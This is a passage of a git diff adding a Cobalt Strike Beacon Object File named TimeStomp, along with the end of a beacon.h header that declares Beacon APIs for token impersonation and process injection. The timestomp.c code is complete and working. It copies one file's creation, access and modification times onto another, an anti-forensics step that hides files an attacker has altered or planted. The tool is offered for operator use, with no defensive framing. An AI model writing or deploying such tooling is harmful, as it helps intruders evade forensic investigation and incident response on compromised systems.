+DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, char * text, int len); +DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, char * fmt, ...); +DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size); +DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value); + +/* Output Functions */ +#define CALLBACK_OUTPUT 0x0 +#define CALLBACK_OUTPUT_OEM 0x1e +#define CALLBACK_ERROR 0x0d +#define CALLBACK_OUTPUT_UTF8 0x20 + +DECLSPEC_IMPORT void BeaconPrintf(int type, char * fmt, ...); +DECLSPEC_IMPORT void BeaconOutput(int type, char * data, int len); + +/* Token Functions */ +DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token); +DECLSPEC_IMPORT void BeaconRevertToken(); +DECLSPEC_IMPORT BOOL BeaconIsAdmin(); + +/* Spawn+Inject Functions */ +DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length); +DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len); +DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len); +DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo); + +/* Utility Functions */ +DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max); diff --git a/TimeStomp/src/timestomp.c b/TimeStomp/src/timestomp.c new file mode 100644 index 0000000..6ab823e --- /dev/null +++ b/TimeStomp/src/timestomp.c @@ -0,0 +1,77 @@ +//Author: robot +//Date: 20231212 +//This C++ File timestomps a supplied target file based off the create, modify, and last access time of a source file as a BOF +//Intended use timestomp.o go + +#include +#include "beacon.h" + +//Required API imports +WINBASEAPI WINBOOL WINAPI KERNEL32$SetFileTime (HANDLE fhandle, LPFILETIME attribute1, LPFILETIME attribute2, LPFILETIME attribute3); +WINBASEAPI WINBOOL WINAPI KERNEL32$GetFileTime (HANDLE fhandle, LPFILETIME attribute1, LPFILETIME attribute2, LPFILETIME attribute3); +WINBASEAPI HANDLE WINAPI KERNEL32$CreateFileA (LPCSTR val1, DWORD val2, DWORD val3, LPSECURITY_ATTRIBUTES val4, DWORD val5, DWORD val6, HANDLE fhandle); +WINBASEAPI WINBOOL WINAPI KERNEL32$CloseHandle (HANDLE fhandle); +WINBASEAPI DWORD WINAPI KERNEL32$GetLastError (VOID); + +//Main BOF method +void go(char * args, int len) { + datap parser; + HANDLE targetHandle, sourceHandle; + FILETIME creationTime, lastAccessTime, lastWriteTime; + + //Parse Args + BeaconDataParse(&parser, args, len); + char* fileString1 = BeaconDataExtract(&parser, NULL); + char* fileString2 = BeaconDataExtract(&parser, NULL); + + if (fileString1 == NULL || fileString2 == NULL) { + BeaconPrintf(CALLBACK_OUTPUT, "[!] Error processing supplied file names. Ensure you supply the target file and then the source file.\n"); + return; + } + + //get a handle to the target file + targetHandle = KERNEL32$CreateFileA(fileString1, + FILE_WRITE_ATTRIBUTES, 0, + NULL, OPEN_EXISTING, + FILE_ATTRIBUTE_NORMAL, NULL); + + if (targetHandle == INVALID_HANDLE_VALUE) { + BeaconPrintf(CALLBACK_OUTPUT, "[!] Could not obtain handle to target file. Error 0x%1x\n", KERNEL32$GetLastError()); + return; + } + + //get a handle to the source file + sourceHandle = KERNEL32$CreateFileA(fileString2, + FILE_READ_ATTRIBUTES, FILE_SHARE_READ, + NULL, OPEN_EXISTING, + FILE_ATTRIBUTE_NORMAL, NULL); + + if (sourceHandle == INVALID_HANDLE_VALUE) { + BeaconPrintf(CALLBACK_OUTPUT, "[!] Could not obtain handle to source file. Error 0x%1x\n", KERNEL32$GetLastError()); + return; + } + + //Get the source file times + if (! KERNEL32$GetFileTime(sourceHandle, &creationTime, &lastAccessTime, &lastWriteTime)) { + BeaconPrintf(CALLBACK_OUTPUT, "[!] Error getting file times. Error code: 0x%1x\n", KERNEL32$GetLastError()); + KERNEL32$CloseHandle(sourceHandle); + KERNEL32$CloseHandle(targetHandle); + return; + } + + //set the filetime on the target file + if (! KERNEL32$SetFileTime(targetHandle, &creationTime, &lastAccessTime, &lastWriteTime)) { + BeaconPrintf(CALLBACK_OUTPUT, "[!] Setting the filetime failed. Error code: 0x%1x\n", KERNEL32$GetLastError()); + KERNEL32$CloseHandle(sourceHandle); + KERNEL32$CloseHandle(targetHandle); + return; + } + + BeaconPrintf(CALLBACK_OUTPUT, "++Time-stomped++\n"); //inform user of success + + //close our handles. + KERNEL32$CloseHandle(targetHandle); + KERNEL32$CloseHandle(sourceHandle); + + return; +}